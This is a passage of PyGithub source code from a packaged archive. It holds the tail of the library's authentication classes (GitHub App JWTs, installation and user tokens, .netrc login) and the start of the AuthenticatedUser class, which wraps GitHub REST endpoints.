Optional[DictSignFunction] = None, jwt_expiry: int = Consts.DEFAULT_JWT_EXPIRY, jwt_issued_at: int = Consts.DEFAULT_JWT_ISSUED_AT, ): assert isinstance(app_id, (int, str)), app_id if isinstance(app_id, str): assert len(app_id) > 0, "app_id must not be empty" assert private_key is not None or sign_func is not None, "either private_key or sign_func must be given" assert private_key is None or sign_func is None, "private_key or sign_func cannot both be given" if private_key is not None: assert isinstance(private_key, str) or callable(private_key) if isinstance(private_key, str): assert len(private_key) > 0, "private_key must not be empty" sign_func = AppAuth.create_jwt_sign(private_key, Consts.DEFAULT_JWT_ALGORITHM) assert isinstance(jwt_expiry, int), jwt_expiry assert Consts.MIN_JWT_EXPIRY <= jwt_expiry <= Consts.MAX_JWT_EXPIRY, jwt_expiry self._app_id = app_id self._sign_func = sign_func self._jwt_expiry = jwt_expiry self._jwt_issued_at = jwt_issued_at @property def app_id(self) -> Union[int, str]: return self._app_id @property def token(self) -> str: return self.create_jwt() def get_installation_auth( self, installation_id: int, token_permissions: Optional[Dict[str, str]] = None, requester: Optional[Requester] = None, ) -> "AppInstallationAuth": """ Creates a github.Auth.AppInstallationAuth instance for an installation. :param installation_id: installation id :param token_permissions: optional permissions :param requester: optional requester with app authentication :return: """ return AppInstallationAuth(self, installation_id, token_permissions, requester) def create_jwt(self, expiration: Optional[int] = None) -> str: """ Create a signed JWT https://docs.github.com/en/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app :return string: jwt """ if expiration is not None: assert isinstance(expiration, int), expiration assert Consts.MIN_JWT_EXPIRY <= expiration <= Consts.MAX_JWT_EXPIRY, expiration now = int(time.time()) payload = { "iat": now + self._jwt_issued_at, "exp": now + (expiration if expiration is not None else self._jwt_expiry), "iss": self._app_id, } assert self._sign_func is not None encrypted = self._sign_func(payload) if isinstance(encrypted, bytes): return encrypted.decode("utf-8") return encrypted class AppAuthToken(JWT): """ This class is used to authenticate as a GitHub App with a single constant JWT. https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app """ def __init__(self, token: str): assert isinstance(token, str) assert len(token) > 0 self._token = token @property def token(self) -> str: return self._token class AppInstallationAuth(Auth, WithRequester["AppInstallationAuth"]): """ This class is used to authenticate as a GitHub App Installation. https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation """ # used to fetch live access token when calling self.token __integration: Optional["GithubIntegration"] = None __installation_authorization: Optional[InstallationAuthorization] = None def __init__( self, app_auth: AppAuth, installation_id: int, token_permissions: Optional[Dict[str, str]] = None, requester: Optional[Requester] = None, ): super().__init__() assert isinstance(app_auth, AppAuth), app_auth assert isinstance(installation_id, int), installation_id assert token_permissions is None or isinstance(token_permissions, dict), token_permissions assert requester is None or isinstance(requester, Requester), requester self._app_auth = app_auth self._installation_id = installation_id self._token_permissions = token_permissions if requester is not None: self.withRequester(requester) def withRequester(self, requester: Requester) -> "AppInstallationAuth": assert isinstance(requester, Requester), requester super().withRequester(requester.withAuth(self._app_auth)) # imported here to avoid circular import from github.GithubIntegration import GithubIntegration self.__integration = GithubIntegration(**self.requester.kwargs) return self @property def app_id(self) -> Union[int, str]: return self._app_auth.app_id @property def installation_id(self) -> int: return self._installation_id @property def token_permissions(self) -> Optional[Dict[str, str]]: return self._token_permissions @property def token_type(self) -> str: return "token" @property def token(self) -> str: if self.__installation_authorization is None or self._is_expired: self.__installation_authorization = self._get_installation_authorization() return self.__installation_authorization.token @property def _is_expired(self) -> bool: assert self.__installation_authorization is not None token_expires_at = self.__installation_authorization.expires_at - TOKEN_REFRESH_THRESHOLD_TIMEDELTA return token_expires_at < datetime.now(timezone.utc) def _get_installation_authorization(self) -> InstallationAuthorization: assert self.__integration is not None, "Method withRequester(Requester) must be called first" return self.__integration.get_access_token( self._installation_id, permissions=self._token_permissions, ) @property def _masked_token(self) -> str: return "token (oauth token removed)" class AppUserAuth(Auth, WithRequester["AppUserAuth"]): """ This class is used to authenticate as a GitHub App on behalf of a user. https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-with-a-github-app-on-behalf-of-a-user """ _client_id: str _client_secret: str _token: str _type: str _scope: Optional[str] _expires_at: Optional[datetime] _refresh_token: Optional[str] _refresh_expires_at: Optional[datetime] # imported here to avoid circular import from github.ApplicationOAuth import ApplicationOAuth __app: ApplicationOAuth def __init__( self, client_id: str, client_secret: str, token: str, token_type: Optional[str] = None, expires_at: Optional[datetime] = None, refresh_token: Optional[str] = None, refresh_expires_at: Optional[datetime] = None, requester: Optional[Requester] = None, ) -> None: super().__init__() assert isinstance(client_id, str) and len(client_id) > 0 assert isinstance(client_secret, str) and len(client_secret) > 0 assert isinstance(token, str) and len(token) > 0 assert token_type is None or isinstance(token_type, str) and len(token_type) > 0, token_type assert expires_at is None or isinstance(expires_at, datetime), expires_at assert refresh_token is None or isinstance(refresh_token, str) and len(refresh_token) > 0 assert refresh_expires_at is None or isinstance(refresh_expires_at, datetime), refresh_expires_at assert requester is None or isinstance(requester, Requester), requester self._client_id = client_id self._client_secret = client_secret self._token = token self._type = token_type or "bearer" self._expires_at = expires_at self._refresh_token = refresh_token self._refresh_expires_at = refresh_expires_at if requester is not None: self.withRequester(requester) @property def token_type(self) -> str: return self._type @property def token(self) -> str: if self._is_expired: self._refresh() return self._token def withRequester(self, requester: Requester) -> "AppUserAuth": assert isinstance(requester, Requester), requester super().withRequester(requester.withAuth(None)) # imported here to avoid circular import from github.ApplicationOAuth import ApplicationOAuth self.__app = ApplicationOAuth( # take requester given to super().withRequester, not given to this method super().requester, headers={}, attributes={ "client_id": self._client_id, "client_secret": self._client_secret, }, ) return self @property def _is_expired(self) -> bool: return self._expires_at is not None and self._expires_at < datetime.now(timezone.utc) def _refresh(self) -> None: if self._refresh_token is None: raise RuntimeError("Cannot refresh expired token because no refresh token has been provided") if self._refresh_expires_at is not None and self._refresh_expires_at < datetime.now(timezone.utc): raise RuntimeError("Cannot refresh expired token because refresh token also expired") # refresh token token = self.__app.refresh_access_token(self._refresh_token) # update this auth self._token = token.token self._type = token.type self._scope = token.scope self._expires_at = token.expires_at self._refresh_token = token.refresh_token self._refresh_expires_at = token.refresh_expires_at @property def expires_at(self) -> Optional[datetime]: return self._expires_at @property def refresh_token(self) -> Optional[str]: return self._refresh_token @property def refresh_expires_at(self) -> Optional[datetime]: return self._refresh_expires_at @property def _masked_token(self) -> str: return "Bearer (jwt removed)" class NetrcAuth(HTTPBasicAuth, WithRequester["NetrcAuth"]): """ This class is used to authenticate via .netrc. """ def __init__(self) -> None: super().__init__() self._login: Optional[str] = None self._password: Optional[str] = None @property def username(self) -> str: return self.login @property def login(self) -> str: assert self._login is not None, "Method withRequester(Requester) must be called first" return self._login @property def password(self) -> str: assert self._password is not None, "Method withRequester(Requester) must be called first" return self._password def withRequester(self, requester: Requester) -> "NetrcAuth": assert isinstance(requester, Requester), requester super().withRequester(requester) auth = utils.get_netrc_auth(requester.base_url, raise_errors=True) if auth is None: raise RuntimeError(f"Could not get credentials from netrc for host {requester.hostname}") self._login, self._password = auth return self ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/AuthenticatedUser.py0000644000175100001660000014462414756101563020256 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Cameron White # # Copyright 2013 Vincent Jacques # # Copyright 2013 poulp # # Copyright 2014 Tomas Radej # # Copyright 2014 Vincent Jacques # # Copyright 2016 E. Dunham # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Balázs Rostás # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Simon # # Copyright 2018 Alice GIRARD # # Copyright 2018 Bruce Richardson # # Copyright 2018 Riccardo Pittau # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Wan Liuyang # # Copyright 2018 bryanhuntesl <31992054+bryanhuntesl@users.noreply.github.com> # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Jamie van Brunschot # # Copyright 2019 Jon Dufresne # # Copyright 2019 Pavan Kunisetty # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 Surya Teja <94suryateja@gmail.com> # # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Glenn McDonald # # Copyright 2020 Steve Kowalik # # Copyright 2021 MeggyCal # # Copyright 2021 Steve Kowalik # # Copyright 2021 Yuya Nakamura # # Copyright 2021 sshekdar-VMware <87147229+sshekdar-VMware@users.noreply.github.com># # Copyright 2021 秋葉 # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Kevin Grandjean # # Copyright 2023 Mark Amery # # Copyright 2023 Trim21 # # Copyright 2023 chantra # # Copyright 2024 Chris Wells # # Copyright 2024 Eduardo Ramírez # # Copyright 2024 Enrico Minack # # Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime, timezone from typing import TYPE_CHECKING, Any, NamedTuple import github.Authorization import github.Event import github.Gist import github.GithubObject import github.Invitation import github.Issue import github.Membership import github.Migration import github.NamedUser import github.Notification import github.Organization import github.Plan import github.Repository import github.UserKey from github import Consts from github.GithubObject import ( Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional, is_optional_list, is_undefined, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Authorization import Authorization from github.Event import Event from github.Gist import Gist from github.InputFileContent import InputFileContent from github.Installation import Installation from github.Invitation import Invitation from github.Issue import Issue from github.Label import Label from github.Membership import Membership from github.Migration import Migration from github.NamedUser import NamedUser from github.Notification import Notification from github.Organization import Organization from github.Plan import Plan from github.Project import Project from github.Repository import Repository from github.Team import Team from github.UserKey import UserKey class EmailData(NamedTuple): email: str primary: bool verified: bool visibility: str class AuthenticatedUser(CompletableGithubObject): """ This class represents AuthenticatedUsers as returned by https://docs.github.com/en/rest/reference/users#get-the-authenticated-user An AuthenticatedUser object can be created by calling ``get_user()`` on a Github object. """ def _initAttributes(self) -> None: self._avatar_url: Attribute[str] = NotSet self._bio: Attribute[str] = NotSet self._blog: Attribute[str] = NotSet self._collaborators: Attribute[int] = NotSet self._company: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._disk_usage: Attribute[int] = NotSet self._email: Attribute[str] = NotSet self._events_url: Attribute[str] = NotSet self._followers: Attribute[int] = NotSet self._followers_url: Attribute[str] = NotSet self._following: Attribute[int] = NotSet self._following_url: Attribute[str] = NotSet self._gists_url: Attribute[str] = NotSet self._gravatar_id: Attribute[str] = NotSet self._hireable: Attribute[bool] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._location: Attribute[str] = NotSet self._login: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._organizations_url: Attribute[str] = NotSet self._owned_private_repos: Attribute[int] = NotSet self._plan: Attribute[github.Plan.Plan] = NotSet self._private_gists: Attribute[int] = NotSet self._public_gists: Attribute[int] = NotSet self._public_repos: Attribute[int] = NotSet self._received_events_url: Attribute[str] = NotSet self._repos_url: Attribute[str] = NotSet self._site_admin: Attribute[bool] = NotSet self._starred_url: Attribute[str] = NotSet self._subscriptions_url: Attribute[str] = NotSet self._total_private_repos: Attribute[int] = NotSet self._two_factor_authentication: Attribute[bool] = NotSet self._type: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"login": self._login.value}) @property def avatar_url(self) -> str: self._completeIfNotSet(self._avatar_url) return self._avatar_url.value @property def bio(self) -> str: self._completeIfNotSet(self._bio) return self._bio.value @property def blog(self) -> str: self._completeIfNotSet(self._blog) return self._blog.value @property def collaborators(self) -> int: self._completeIfNotSet(self._collaborators) return self._collaborators.value @property def company(self) -> str: self._completeIfNotSet(self._company) return self._company.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def disk_usage(self) -> int: self._completeIfNotSet(self._disk_usage) return self._disk_usage.value @property def email(self) -> str: self._completeIfNotSet(self._email) return self._email.value @property def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property def followers(self) -> int: self._completeIfNotSet(self._followers) return self._followers.value @property def followers_url(self) -> str: self._completeIfNotSet(self._followers_url) return self._followers_url.value @property def following(self) -> int: self._completeIfNotSet(self._following) return self._following.value @property def following_url(self) -> str: self._completeIfNotSet(self._following_url) return self._following_url.value @property def gists_url(self) -> str: self._completeIfNotSet(self._gists_url) return self._gists_url.value @property def gravatar_id(self) -> str: self._completeIfNotSet(self._gravatar_id) return self._gravatar_id.value @property def hireable(self) -> bool: self._completeIfNotSet(self._hireable) return self._hireable.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def location(self) -> str: self._completeIfNotSet(self._location) return self._location.value @property def login(self) -> str: self._completeIfNotSet(self._login) return self._login.value @property def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def organizations_url(self) -> str: self._completeIfNotSet(self._organizations_url) return self._organizations_url.value @property def owned_private_repos(self) -> int: self._completeIfNotSet(self._owned_private_repos) return self._owned_private_repos.value @property def plan(self) -> Plan: self._completeIfNotSet(self._plan) return self._plan.value @property def private_gists(self) -> int: self._completeIfNotSet(self._private_gists) return self._private_gists.value @property def public_gists(self) -> int: self._completeIfNotSet(self._public_gists) return self._public_gists.value @property def public_repos(self) -> int: self._completeIfNotSet(self._public_repos) return self._public_repos.value @property def received_events_url(self) -> str: self._completeIfNotSet(self._received_events_url) return self._received_events_url.value @property def repos_url(self) -> str: self._completeIfNotSet(self._repos_url) return self._repos_url.value @property def site_admin(self) -> bool: self._completeIfNotSet(self._site_admin) return self._site_admin.value @property def starred_url(self) -> str: self._completeIfNotSet(self._starred_url) return self._starred_url.value @property def subscriptions_url(self) -> str: self._completeIfNotSet(self._subscriptions_url) return self._subscriptions_url.value @property def total_private_repos(self) -> int: self._completeIfNotSet(self._total_private_repos) return self._total_private_repos.value @property def two_factor_authentication(self) -> bool: self._completeIfNotSet(self._two_factor_authentication) return self._two_factor_authentication.value @property def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def add_to_emails(self, *emails: str) -> None: """ :calls: `POST /user/emails `_ """ assert all(isinstance(element, str) for element in emails), emails post_parameters = {"emails": emails} headers, data = self._requester.requestJsonAndCheck("POST", "/user/emails", input=post_parameters) def add_to_following(self, following: NamedUser) -> None: """ :calls: `PUT /user/following/{user} `_ """ assert isinstance(following, github.NamedUser.NamedUser), following headers, data = self._requester.requestJsonAndCheck("PUT", f"/user/following/{following._identity}") def add_to_starred(self, starred: Repository) -> None: """ :calls: `PUT /user/starred/{owner}/{repo} `_ """ assert isinstance(starred, github.Repository.Repository), starred headers, data = self._requester.requestJsonAndCheck("PUT", f"/user/starred/{starred._identity}") def add_to_subscriptions(self, subscription: Repository) -> None: """ :calls: `PUT /user/subscriptions/{owner}/{repo} `_ """ assert isinstance(subscription, github.Repository.Repository), subscription headers, data = self._requester.requestJsonAndCheck("PUT", f"/user/subscriptions/{subscription._identity}") def add_to_watched(self, watched: Repository) -> None: """ :calls: `PUT /repos/{owner}/{repo}/subscription `_ """ assert isinstance(watched, github.Repository.Repository), watched headers, data = self._requester.requestJsonAndCheck( "PUT", f"/repos/{watched._identity}/subscription", input={"subscribed": True}, ) def create_authorization( self, scopes: Opt[list[str]] = NotSet, note: Opt[str] = NotSet, note_url: Opt[str] = NotSet, client_id: Opt[str] = NotSet, client_secret: Opt[str] = NotSet, onetime_password: str | None = None, ) -> Authorization: """ :calls: `POST /authorizations `_ """ assert is_optional_list(scopes, str), scopes assert is_optional(note, str), note assert is_optional(note_url, str), note_url assert is_optional(client_id, str), client_id assert is_optional(client_secret, str), client_secret assert onetime_password is None or isinstance(onetime_password, str), onetime_password post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "scopes": scopes, "note": note, "note_url": note_url, "client_id": client_id, "client_secret": client_secret, } ) if onetime_password is not None: request_header = {Consts.headerOTP: onetime_password} # pragma no cover (Should be covered) else: request_header = None headers, data = self._requester.requestJsonAndCheck( "POST", "/authorizations", input=post_parameters, headers=request_header, ) return github.Authorization.Authorization(self._requester, headers, data, completed=True) @staticmethod def create_fork( repo: Repository, name: Opt[str] = NotSet, default_branch_only: Opt[bool] = NotSet, ) -> Repository: """ :calls: `POST /repos/{owner}/{repo}/forks `_ """ assert isinstance(repo, github.Repository.Repository), repo return repo.create_fork( organization=github.GithubObject.NotSet, name=name, default_branch_only=default_branch_only, ) def create_repo_from_template( self, name: str, repo: Repository, description: Opt[str] = NotSet, include_all_branches: Opt[bool] = NotSet, private: Opt[bool] = NotSet, ) -> Repository: """ :calls: `POST /repos/{template_owner}/{template_repo}/generate `_ """ assert isinstance(name, str), name assert isinstance(repo, github.Repository.Repository), repo assert is_optional(description, str), description assert is_optional(include_all_branches, bool), include_all_branches assert is_optional(private, bool), private post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "owner": self.login, "description": description, "include_all_branches": include_all_branches, "private": private, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"/repos/{repo.owner.login}/{repo.name}/generate", input=post_parameters, headers={"Accept": "application/vnd.github.v3+json"}, ) return github.Repository.Repository(self._requester, headers, data, completed=True) def create_gist( self, public: bool, files: dict[str, InputFileContent], description: Opt[str] = NotSet, ) -> Gist: """ :calls: `POST /gists `_ """ assert isinstance(public, bool), public assert all(isinstance(element, github.InputFileContent) for element in files.values()), files assert is_undefined(description) or isinstance(description, str), description post_parameters = { "public": public, "files": {key: value._identity for key, value in files.items()}, } if is_defined(description): post_parameters["description"] = description headers, data = self._requester.requestJsonAndCheck("POST", "/gists", input=post_parameters) return github.Gist.Gist(self._requester, headers, data, completed=True) def create_key(self, title: str, key: str) -> UserKey: """ :calls: `POST /user/keys `_ :param title: string :param key: string :rtype: :class:`github.UserKey.UserKey` """ assert isinstance(title, str), title assert isinstance(key, str), key post_parameters = { "title": title, "key": key, } headers, data = self._requester.requestJsonAndCheck("POST", "/user/keys", input=post_parameters) return github.UserKey.UserKey(self._requester, headers, data, completed=True) def create_project(self, name: str, body: Opt[str] = NotSet) -> Project: """ :calls: `POST /user/projects `_ :param name: string :param body: string :rtype: :class:`github.Project.Project` """ assert isinstance(name, str), name assert is_undefined(body) or isinstance(body, str), body post_parameters = { "name": name, "body": body, } headers, data = self._requester.requestJsonAndCheck( "POST", "/user/projects", input=post_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return github.Project.Project(self._requester, headers, data, completed=True) def create_repo( self, name: str, description: Opt[str] = NotSet, homepage: Opt[str] = NotSet, private: Opt[bool] = NotSet, has_issues: Opt[bool] = NotSet, has_wiki: Opt[bool] = NotSet, has_downloads: Opt[bool] = NotSet, has_projects: Opt[bool] = NotSet, has_discussions: Opt[bool] = NotSet, auto_init: Opt[bool] = NotSet, license_template: Opt[str] = NotSet, gitignore_template: Opt[str] = NotSet, allow_squash_merge: Opt[bool] = NotSet, allow_merge_commit: Opt[bool] = NotSet, allow_rebase_merge: Opt[bool] = NotSet, delete_branch_on_merge: Opt[bool] = NotSet, ) -> Repository: """ :calls: `POST /user/repos `_ """ assert isinstance(name, str), name assert is_optional(description, str), description assert is_optional(homepage, str), homepage assert is_optional(private, bool), private assert is_optional(has_issues, bool), has_issues assert is_optional(has_wiki, bool), has_wiki assert is_optional(has_downloads, bool), has_downloads assert is_optional(has_projects, bool), has_projects assert is_optional(has_discussions, bool), has_discussions assert is_optional(auto_init, bool), auto_init assert is_optional(license_template, str), license_template assert is_optional(gitignore_template, str), gitignore_template assert is_optional(allow_squash_merge, bool), allow_squash_merge assert is_optional(allow_merge_commit, bool), allow_merge_commit assert is_optional(allow_rebase_merge, bool), allow_rebase_merge assert is_optional(delete_branch_on_merge, bool), delete_branch_on_merge post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "description": description, "homepage": homepage, "private": private, "has_issues": has_issues, "has_wiki": has_wiki, "has_downloads": has_downloads, "has_projects": has_projects, "has_discussions": has_discussions, "auto_init": auto_init, "license_template": license_template, "gitignore_template": gitignore_template, "allow_squash_merge": allow_squash_merge, "allow_merge_commit": allow_merge_commit, "allow_rebase_merge": allow_rebase_merge, "delete_branch_on_merge": delete_branch_on_merge, } ) headers, data = self._requester.requestJsonAndCheck("POST", "/user/repos", input=post_parameters) return github.Repository.Repository(self._requester, headers, data, completed=True) def edit( self, name: Opt[str] = NotSet, email: Opt[str] = NotSet, blog: Opt[str] = NotSet, company: Opt[str] = NotSet, location: Opt[str] = NotSet, hireable: Opt[bool] = NotSet, bio: Opt[str] = NotSet, ) -> None: """ :calls: `PATCH /user `_ """ assert is_optional(name, str), name assert is_optional(email, str), email assert is_optional(blog, str), blog assert is_optional(company, str), company assert is_optional(location, str), location assert is_optional(hireable, bool), hireable assert is_optional(bio, str), bio post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "email": email, "blog": blog, "company": company, "location": location, "hireable": hireable, "bio": bio, } ) headers, data = self._requester.requestJsonAndCheck("PATCH", "/user", input=post_parameters) self._useAttributes(data) def get_authorization(self, id: int) -> Authorization: """ :calls: `GET /authorizations/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"/authorizations/{id}") return github.Authorization.Authorization(self._requester, headers, data, completed=True) def get_authorizations(self) -> PaginatedList[Authorization]: """ :calls: `GET /authorizations `_ """ return PaginatedList(github.Authorization.Authorization, self._requester, "/authorizations", None) def get_emails(self) -> list[EmailData]: """ :calls: `GET /user/emails `_ """ headers, data = self._requester.requestJsonAndCheck("GET", "/user/emails") return [EmailData(**item) for item in data] def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /events `_ """ return PaginatedList(github.Event.Event, self._requester, "/events", None) def get_followers(self) -> PaginatedList[NamedUser]: """ :calls: `GET /user/followers `_ """ return PaginatedList(github.NamedUser.NamedUser, self._requester, "/user/followers", None) def get_following(self) -> PaginatedList[NamedUser]: """ :calls: `GET /user/following `_ """ return PaginatedList(github.NamedUser.NamedUser, self._requester, "/user/following", None) def get_gists(self, since: Opt[datetime] = NotSet) -> PaginatedList[Gist]: """ :calls: `GET /gists `_ :param since: datetime format YYYY-MM-DDTHH:MM:SSZ :rtype: :class:`PaginatedList` of :class:`github.Gist.Gist` """ assert is_optional(since, datetime), since url_parameters: dict[str, Any] = {} if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList(github.Gist.Gist, self._requester, "/gists", url_parameters) def get_issues( self, filter: Opt[str] = NotSet, state: Opt[str] = NotSet, labels: Opt[list[Label]] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[Issue]: """ :calls: `GET /issues `_ """ assert is_optional(filter, str), filter assert is_optional(state, str), state assert is_optional_list(labels, github.Label.Label), labels assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since url_parameters: dict[str, Any] = {} if is_defined(filter): url_parameters["filter"] = filter if is_defined(state): url_parameters["state"] = state if is_defined(labels): url_parameters["labels"] = ",".join(label.name for label in labels) if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList(github.Issue.Issue, self._requester, "/issues", url_parameters) def get_user_issues( self, filter: Opt[str] = NotSet, state: Opt[str] = NotSet, labels: Opt[list[Label]] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[Issue]: """ :calls: `GET /user/issues `_ """ assert is_optional(filter, str), filter assert is_optional(state, str), state assert is_optional_list(labels, github.Label.Label), labels assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since url_parameters: dict[str, Any] = {} if is_defined(filter): url_parameters["filter"] = filter if is_defined(state): url_parameters["state"] = state if is_defined(labels): url_parameters["labels"] = ",".join(label.name for label in labels) if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList(github.Issue.Issue, self._requester, "/user/issues", url_parameters) def get_key(self, id: int) -> UserKey: """ :calls: `GET /user/keys/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"/user/keys/{id}") return github.UserKey.UserKey(self._requester, headers, data, completed=True) def get_keys(self) -> PaginatedList[UserKey]: """ :calls: `GET /user/keys `_ """ return PaginatedList(github.UserKey.UserKey, self._requester, "/user/keys", None) def get_notification(self, id: str) -> Notification: """ :calls: `GET /notifications/threads/{id} `_ """ assert isinstance(id, str), id headers, data = self._requester.requestJsonAndCheck("GET", f"/notifications/threads/{id}") return github.Notification.Notification(self._requester, headers, data, completed=True) def get_notifications( self, all: Opt[bool] = NotSet, participating: Opt[bool] = NotSet, since: Opt[datetime] = NotSet, before: Opt[datetime] = NotSet, ) -> PaginatedList[Notification]: """ :calls: `GET /notifications `_ """ assert is_optional(all, bool), all assert is_optional(participating, bool), participating assert is_optional(since, datetime), since assert is_optional(before, datetime), before params: dict[str, Any] = {} if is_defined(all): # convert True, False to true, false for api parameters params["all"] = "true" if all else "false" if is_defined(participating): # convert True, False to true, false for api parameters params["participating"] = "true" if participating else "false" if is_defined(since): params["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(before): params["before"] = before.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList(github.Notification.Notification, self._requester, "/notifications", params) def get_organization_events(self, org: Organization) -> PaginatedList[Event]: """ :calls: `GET /users/{user}/events/orgs/{org} `_ """ assert isinstance(org, github.Organization.Organization), org return PaginatedList( github.Event.Event, self._requester, f"/users/{self.login}/events/orgs/{org.login}", None, ) def get_orgs(self) -> PaginatedList[Organization]: """ :calls: `GET /user/orgs `_ """ return PaginatedList(github.Organization.Organization, self._requester, "/user/orgs", None) def get_repo(self, name: str) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ """ assert isinstance(name, str), name name = urllib.parse.quote(name) headers, data = self._requester.requestJsonAndCheck("GET", f"/repos/{self.login}/{name}") return github.Repository.Repository(self._requester, headers, data, completed=True) def get_repos( self, visibility: Opt[str] = NotSet, affiliation: Opt[str] = NotSet, type: Opt[str] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, ) -> PaginatedList[Repository]: """ :calls: `GET /user/repos `_ """ assert is_optional(visibility, str), visibility assert is_optional(affiliation, str), affiliation assert is_optional(type, str), type assert is_optional(sort, str), sort assert is_optional(direction, str), direction url_parameters = NotSet.remove_unset_items( { "visibility": visibility, "affiliation": affiliation, "type": type, "sort": sort, "direction": direction, } ) return PaginatedList(github.Repository.Repository, self._requester, "/user/repos", url_parameters) def get_starred(self) -> PaginatedList[Repository]: """ :calls: `GET /user/starred `_ """ return PaginatedList(github.Repository.Repository, self._requester, "/user/starred", None) def get_starred_gists(self) -> PaginatedList[Gist]: """ :calls: `GET /gists/starred `_ """ return PaginatedList(github.Gist.Gist, self._requester, "/gists/starred", None) def get_subscriptions(self) -> PaginatedList[Repository]: """ :calls: `GET /user/subscriptions `_ """ return PaginatedList(github.Repository.Repository, self._requester, "/user/subscriptions", None) def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /user/teams `_ """ return PaginatedList(github.Team.Team, self._requester, "/user/teams", None) def get_watched(self) -> PaginatedList[Repository]: """ :calls: `GET /user/subscriptions `_ """ return PaginatedList(github.Repository.Repository, self._requester, "/user/subscriptions", None) def get_installations(self) -> PaginatedList[Installation]: """ :calls: `GET /user/installations `_ """ return PaginatedList( github.Installation.Installation, self._requester, "/user/installations", None, headers={"Accept": Consts.mediaTypeIntegrationPreview}, list_item="installations", ) def has_in_following(self, following: NamedUser) -> bool: """ :calls: `GET /user/following/{user} `_ """ assert isinstance(following, github.NamedUser.NamedUser), following status, headers, data = self._requester.requestJson("GET", f"/user/following/{following._identity}") return status == 204 def has_in_starred(self, starred: Repository) -> bool: """ :calls: `GET /user/starred/{owner}/{repo} `_ """ assert isinstance(starred, github.Repository.Repository), starred status, headers, data = self._requester.requestJson("GET", f"/user/starred/{starred._identity}") return status == 204 def has_in_subscriptions(self, subscription: Repository) -> bool: """ :calls: 